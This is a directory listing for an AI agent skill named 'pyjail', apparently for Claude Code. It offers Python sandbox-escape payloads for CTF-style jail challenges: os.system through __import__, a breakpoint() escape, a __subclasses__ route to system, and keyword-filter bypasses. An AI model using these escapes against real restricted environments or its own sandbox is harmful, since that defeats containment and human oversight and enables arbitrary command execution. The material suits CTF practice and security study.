Python Jail Escape

VerifiedCaution

Techniques to bypass Python sandbox restrictions and execute arbitrary code in restricted environments.

Sby Skills Guide Bot
SecurityIntermediate
007/27/2026
Claude Code
#python#jail-escape#sandbox#security#pentesting

Recommended for

Our review

Helps bypass Python sandbox restrictions in restricted eval/exec environments, filtered input challenges, or Python jail challenges.

Strengths

  • Provides multiple bypass techniques (builtins, class hierarchy, encoding).
  • Includes a quick debug command to find useful subclass indices.
  • Comes with detailed reference files for bypass techniques and complete payloads.

Limitations

  • Some techniques depend on specific Python versions (e.g., breakpoint requires Python 3.7+).
  • Does not cover all possible filter types (e.g., AST or bytecode filters).
  • Reference files may become outdated with new bypass methods.
When to use it

Use this skill when you need to execute commands in a restricted Python environment or solve a Python jail challenge.

When not to use it

Do not use for general Python development or non-restricted environments.

Security analysis

Caution
Quality score90/100

The skill equips an agent with techniques to bypass Python sandbox restrictions entirely, enabling arbitrary code execution. While intended for legitimate security research/CTF challenges, it lowers the barrier to executing powerful commands and could inadvertently cause harm if used improperly.

Findings
  • Provides Python escape payloads that can execute arbitrary system commands, which could be misused for destructive actions or data exfiltration if applied outside controlled CTF/sandbox environments.

Examples

Basic command execution via class hierarchy
I need to execute 'cat flag.txt' inside a Python jail that blocks '__import__'. Show me how to use class hierarchy to bypass.
Find useful class index
Help me find the index of a useful subclass to execute system commands in a Python jail by enumerating subclasses.
Keyword filter bypass with concatenation
The Python jail blocks the word 'os'. How can I call os.system using string concatenation or chr()?

name: pyjail description: Escapes Python sandbox restrictions. Use when working with restricted Python eval/exec environments, sandbox escapes, filtered input challenges, or Python jail challenges. allowed-tools: Bash, Read, Write, Grep, Glob

Python Jail Escape Skill

Quick Workflow

Progress:
- [ ] Identify restrictions (blocked keywords/chars)
- [ ] Try basic escapes first
- [ ] If builtins blocked, use class hierarchy
- [ ] Bypass filters with encoding/concatenation
- [ ] Execute command to get flag

Quick Reference - Common Escapes

# Basic command execution
__import__('os').system('cat flag.txt')
eval("__import__('os').system('id')")
exec("import os; os.system('ls')")

# Using breakpoint (Python 3.7+)
breakpoint()  # Drops into pdb, then !cat flag.txt

# No builtins - class hierarchy
().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('cat flag')

# Keyword bypass
__import__('o'+'s').system('cat flag')
__import__(chr(111)+chr(115)).system('cat flag')

Reference Files

| Topic | Reference | |-------|-----------| | Bypass Techniques | reference/bypass.md | | Complete Payloads | reference/payloads.md |

Quick Debugging

# Find useful class index
for i, c in enumerate(().__class__.__base__.__subclasses__()):
    if 'wrap' in str(c): print(i, c)

# Check available builtins
dir(__builtins__)
Related skills